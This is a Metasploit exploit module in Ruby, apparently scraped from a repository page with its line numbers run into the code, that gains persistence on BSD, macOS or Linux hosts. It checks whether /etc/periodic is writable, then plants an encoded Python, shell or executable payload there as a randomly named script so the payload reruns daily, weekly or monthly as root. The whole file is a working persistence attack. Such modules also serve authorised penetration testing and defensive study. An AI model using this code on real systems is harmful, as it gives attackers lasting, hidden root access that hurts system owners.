Path: blob/master/modules/exploits/multi/persistence/periodic_script.rb
24756 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::File10include Msf::Exploit::EXE11include Msf::Exploit::Local::Persistence12include Msf::Exploit::Deprecated13moved_from 'exploits/multi/local/periodic_script_persistence'1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Periodic Script Persistence',20'Description' => %q{21This module will achieve persistence by writing a script to the /etc/periodic directory.22According to The Art of Mac Malware no such malware species persist in this manner (2024).23This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.24},25'License' => MSF_LICENSE,26'Author' => [27'gardnerapp',28'msutovsky-r7'29],30'References' => [31[32['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],33['URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'],34['ATT&CK', Mitre::Attack::Technique::T1053_SCHEDULED_TASK_JOB]35]36],37'DisclosureDate' => '2012-04-01',38'Privileged' => true,39'DefaultTarget' => 1, # python is the most compatible across OSes40'Platform' => %w[bsd unix osx],41'Targets' => [42[ 'OSX', { 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Platform' => 'osx' } ],43[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],44[ 'Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],45[ 'Bsd', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'bsd' }]46],47'SessionTypes' => [ 'shell', 'meterpreter' ],48'Notes' => {49'Stability' => [CRASH_SAFE],50'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],51'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]52}53)54)5556register_options([57OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),58OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script']),59])6061deregister_options('WritableDir')62end6364def check65periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"6667return CheckCode::Vulnerable "#{periodic} is writable" if writable? periodic6869CheckCode::Safe "Unable to write to #{periodic}"70end7172def write_periodic_script(payload_content)73periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"7475periodic_script_name = datastore['PERIODIC_SCRIPT_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(rand(6..13)) : datastore['PERIODIC_SCRIPT_NAME']76periodic_script = File.join(periodic_dir, periodic_script_name)7778# we needed elevated privileges to create the file, so likely no need to sudo here79@clean_up_rc << "rm #{periodic_script}\n"8081fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}") unless upload_and_chmodx(periodic_script, payload_content)8283print_status "Succesfully wrote periodic script to #{periodic_script}."84end8586def install_persistence87if target['Arch'] == ARCH_PYTHON88print_status 'Getting python version & path.'8990python = cmd_exec('which python3 || which python2 || which python')9192fail_with(Failure::PayloadFailed, 'Unable to find python version. ') if python.blank? || !file?(python)9394print_good "Found python path #{python}"9596payload_bin = "#!#{python}\n#{payload.encoded}"97elsif target['Arch'] == ARCH_CMD98payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n #{payload.encoded}"99else100payload_bin = generate_payload_exe101end102103write_periodic_script payload_bin104end105end106107108